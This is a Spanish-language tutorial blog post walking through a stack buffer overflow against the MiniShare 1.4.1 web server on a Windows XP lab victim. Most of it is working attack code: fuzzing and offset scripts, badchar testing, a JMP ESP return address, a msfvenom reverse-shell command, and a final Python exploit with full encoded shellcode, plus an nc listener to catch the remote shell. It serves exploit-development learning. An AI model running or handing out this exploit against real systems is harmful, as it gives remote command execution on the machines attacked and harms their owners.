Buffer Overflow - MiniShare 1.4.1

5 minute read

Ya hace un buen tiempo que no escribia o hacia un video en ninguna plataforma, pero compartir lo aprendido siempre a sido una caracteristica esensial de la comunidad y esta de mas decir que sin tanto contenido respecto al Hacking o Reversing hoy no seriamos nada, Asi pues aprovechare para ir aportando contenido y espero que alguien le sirva.

En este articulo haremos un buffer overflow al software Minishare 1.4.1, desbordaremos el buffer y aprovecharemos esa vulnerabilidad para ejecutar una shell que se conecte a la maquina atacante.

Requisitos

  • Immunity Debugger ( Plugin Mona )
  • Windows XP sp1 (Victima)
  • Kali Linux ( Atacante )

Escanear Maquina Victima

Para comenzar vamos a escanear con nmap a la maquina victima y podremos ver que tenemos el puerto 80 usado por Minishare 1.4.1

nmap -sS -sV -p- --open 192.168.1.34 -Pn

Creando Template

Entonces vamos a crear un script y ver como reacciona la aplicacion al mandarle unas strings

#!/usr/local/bin
import socket

ip = '192.168.1.34'
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
buffer = 'GET ' + 'A'*8000 + 'HTTP/1.1\r\n\r\n'
s.send(buffer)
s.close()

como podemos ver el programa crasheo en algun punto pero lo interesante es que EIP apunta 41414141 y que se sobrescribio la pila con 41414141(“AAAA”).

Fuzzing

Entonces ahora enviaremos datos aleatorios para ver en cuantos bytes crashea la aplicacion

#!/usr/local/bin
import socket

ip = '192.168.1.34'
port = 80

buffer = ['A']
count = 100

# Generamos un array de strings para el fuzzing
while len(buffer) < 32:
	buffer.append( "A" * count)
	count +=100

# Mandando String al buffer
for string in buffer:
	try:
		print("Bytes enviados %i" % (len(string)))
		s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
		s.connect((ip, port))		
		s.send('GET ' + string + 'HTTP/1.1\r\n\r\n')		
		s.close()
	except:
		print("Error en conexion!")

como podemos ver mandamos en cada ciclo 100 ‘A’s y la aplicacion crasheo en 3100 bytes ‘A’s enviados

Find EIP

Ya sabemos que la aplicacion crashea en 3100 ‘A’s y EIP sigue apuntando en 41414141. Entonces ahora nesecitamos saber cuantos bytes son nesecarios para poder pisar EIP que nos servira para controlar el flujo de la aplicacion, para esto enviaremos un patron de bytes unico que nos servira para calcular en cuantos bytes hacernos con la EIP.

hay herramientas para esto como:

  • msf-pattern_create, msf-pattern_offset ( vienen en Kali o Parrot por Defecto)
  • https://github.com/Svenito/exploit-pattern
  • Plugin Mona

yo usare mona para este fin pero antes nesecitare ejecutar este comando en immunity debugger para que mona sepa donde sera mi carpeta de trabajo

!mona config -set workingfolder C:\mona\%p

Crearemos un pattern de 3100 bytes

!mona pc 3100

abrimos el archivo que nos creo y copiamos el pattern para posteriormente usarlo en nuestro script

#!/usr/local/bin
import socket

ip = '192.168.1.34'
port = 80

buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2D"

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))		
	s.send('GET ' + buffer + 'HTTP/1.1\r\n\r\n')		
	s.close()
except:
	print("Error en conexion!")

Al correr nuestro script vemos que paro de nuevo pero en esta ocasion EIP apunta a otros bytes. Asi que ejecutemos este comando

!mona findmsp

como podemos ver mona nos dice que nesecitamos 1787 bytes para llegar EIP, asi que esto lo vamos a comprobar en nuestro script para pisar EIP con unos BBBB

#!/usr/local/bin
import socket

ip = '192.168.1.34'
port = 80

junk = "A" * 1787
eip  = "B" * 4
buffer = junk + eip

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))		
	s.send('GET ' + buffer + 'HTTP/1.1\r\n\r\n')		
	s.close()
except:
	print("Error en conexion!")

Genial pudimos pisar el EIP con unos BBBB

Badchards

En esta parte nesecitamos encontrar los badchards y nos hacemos la pregunta que son ? La respuesta es sencilla nuestro objetivo es usar una shellcode en nuestro script que nos permita conectarse a nuestra maquina. Sin embargo existen caracteres malos en la aplicacion que cortaran nuestra shellcode como por ejemplo \x00. Entonces sera un trabajo repetivo pero debemos encontrarlos a todos enviando una lista de bytes desde 0 (\x00) hasta 255 (\xff) y ver en donde se corta. Asi de esta manera omitiremos estos badchars en nuestra shellcode.

Asi que ejecutaremos en mona el siguiente comando para que nos genere un byterray de badchars

!mona bytearray

copiaremos los badchars del archivo que creo mona a nuestro script

#!/usr/local/bin
import socket

ip = '192.168.1.34'
port = 80

junk = "A" * 1787
eip  = "B" * 4
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
buffer = junk + eip + badchars

try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))		
	s.send('GET ' + buffer + 'HTTP/1.1\r\n\r\n')		
	s.close()
except:
	print("Error en conexion!")

Al ejecutar nuestro script podemos ver que no notamos nada diferente pero bueno la idea es que ejecutaremos un comando para que mona nos detecte el badchar

!mona compare esp -f C:\mona\minishare\bytearray.bin -a DireccionESP

Como podemos ver mona nos indica cual es el badchar

Entonces eliminaremos dicho badchar de nuestro script y generaremos otro excluyendo \x00

!mona bytearray -cpb \x00

Repetiremos el mismo proceso hasta que mona ya no nos arroje mas badchars, como resultado solo tenemos dos badchars \x00\x0d

JMP ESP

Ahora nesecitaremos buscar una direccion que contenga un jmp esp libre de protecciones para poder ejecutar nuestra shellcode, esto lo haremos ejecutando el comando copiaremos dicha direccion para usarlo en nuestro script

!mona jmp -r esp

copiaremos dicha direccion para usarlo en nuestro script, para ello usaremos la libreria struct para no tener problemas con el litle endian

#!/usr/local/bin
import socket
import struct

ip = '192.168.1.25'
port = 80

junk = "A" * 1787

buffer = junk + struct.pack('<L', 0x7C9D30D7) + "C" * 100 # Agregamos unos C's a modo de prueba
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))		
	s.send('GET ' + buffer + 'HTTP/1.1\r\n\r\n')		
	s.close()
except:
	print("Error en conexion!")

Shellcode

llegamos a la parte mas importante generar nuestra shellcode lo haremos de esta forma con este comando

msfvenom -p windows/shell_reverse_tcp lhost=IpAtacante lport=4444 EXITFUNC=thread -a x86 --platform windows -b "\x00\x0d" -e x86/shikata_ga_nai -f c

Creando Exploit

Genial muchachos ya tenemos todo lo nesecario para crear nuestro exploit que se genere una shell remota, para esto nesecitaremos copiar la shell que generamos en nuestro script

#!/usr/local/bin
import socket
import struct

ip = '192.168.1.25' # ip victima
port = 80

junk = "A" * 1787
shellcode = (
"\xbd\xa8\xfa\xbe\xbd\xda\xc9\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"
"\x52\x83\xc2\x04\x31\x6a\x0e\x03\xc2\xf4\x5c\x48\xee\xe1\x23"
"\xb3\x0e\xf2\x43\x3d\xeb\xc3\x43\x59\x78\x73\x74\x29\x2c\x78"
"\xff\x7f\xc4\x0b\x8d\x57\xeb\xbc\x38\x8e\xc2\x3d\x10\xf2\x45"
"\xbe\x6b\x27\xa5\xff\xa3\x3a\xa4\x38\xd9\xb7\xf4\x91\x95\x6a"
"\xe8\x96\xe0\xb6\x83\xe5\xe5\xbe\x70\xbd\x04\xee\x27\xb5\x5e"
"\x30\xc6\x1a\xeb\x79\xd0\x7f\xd6\x30\x6b\x4b\xac\xc2\xbd\x85"
"\x4d\x68\x80\x29\xbc\x70\xc5\x8e\x5f\x07\x3f\xed\xe2\x10\x84"
"\x8f\x38\x94\x1e\x37\xca\x0e\xfa\xc9\x1f\xc8\x89\xc6\xd4\x9e"
"\xd5\xca\xeb\x73\x6e\xf6\x60\x72\xa0\x7e\x32\x51\x64\xda\xe0"
"\xf8\x3d\x86\x47\x04\x5d\x69\x37\xa0\x16\x84\x2c\xd9\x75\xc1"
"\x81\xd0\x85\x11\x8e\x63\xf6\x23\x11\xd8\x90\x0f\xda\xc6\x67"
"\x6f\xf1\xbf\xf7\x8e\xfa\xbf\xde\x54\xae\xef\x48\x7c\xcf\x7b"
"\x88\x81\x1a\x2b\xd8\x2d\xf5\x8c\x88\x8d\xa5\x64\xc2\x01\x99"
"\x95\xed\xcb\xb2\x3c\x14\x9c\x7c\x68\x17\x61\x15\x6b\x17\x88"
"\xb9\xe2\xf1\xc0\x51\xa3\xaa\x7c\xcb\xee\x20\x1c\x14\x25\x4d"
"\x1e\x9e\xca\xb2\xd1\x57\xa6\xa0\x86\x97\xfd\x9a\x01\xa7\x2b"
"\xb2\xce\x3a\xb0\x42\x98\x26\x6f\x15\xcd\x99\x66\xf3\xe3\x80"
"\xd0\xe1\xf9\x55\x1a\xa1\x25\xa6\xa5\x28\xab\x92\x81\x3a\x75"
"\x1a\x8e\x6e\x29\x4d\x58\xd8\x8f\x27\x2a\xb2\x59\x9b\xe4\x52"
"\x1f\xd7\x36\x24\x20\x32\xc1\xc8\x91\xeb\x94\xf7\x1e\x7c\x11"
"\x80\x42\x1c\xde\x5b\xc7\x3c\x3d\x49\x32\xd5\x98\x18\xff\xb8"
"\x1a\xf7\x3c\xc5\x98\xfd\xbc\x32\x80\x74\xb8\x7f\x06\x65\xb0"
"\x10\xe3\x89\x67\x10\x26")
buffer = junk + struct.pack('<L', 0x7C9D30D7) + "\x90"*20 + shellcode
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect((ip, port))		
	s.send('GET ' + buffer + 'HTTP/1.1\r\n\r\n')		
	s.close()
except:
	print("Error en conexion!")

como ven agregamos antes unos nop’s para no tener problemas al ejecutar nuestra shellcode

Ejecutar Exploit

Para hacer funcionar nuestro exploit nesecitamos dejar en escucha el puerto 4444 (Puede ser cualquier puerto yo lo puse asi al generar la shellcode con msfvenom)

nc -nlvp 4444

ahora correr nuestro exploit

listo como podemos ver ya pudimos conectacnos con la maquina victima y hemos podido crear un exploit exitosamente.

Espero que les haya gustado este escrito tanto como a mi me gusto escribirlo. Nos vemos AbelJM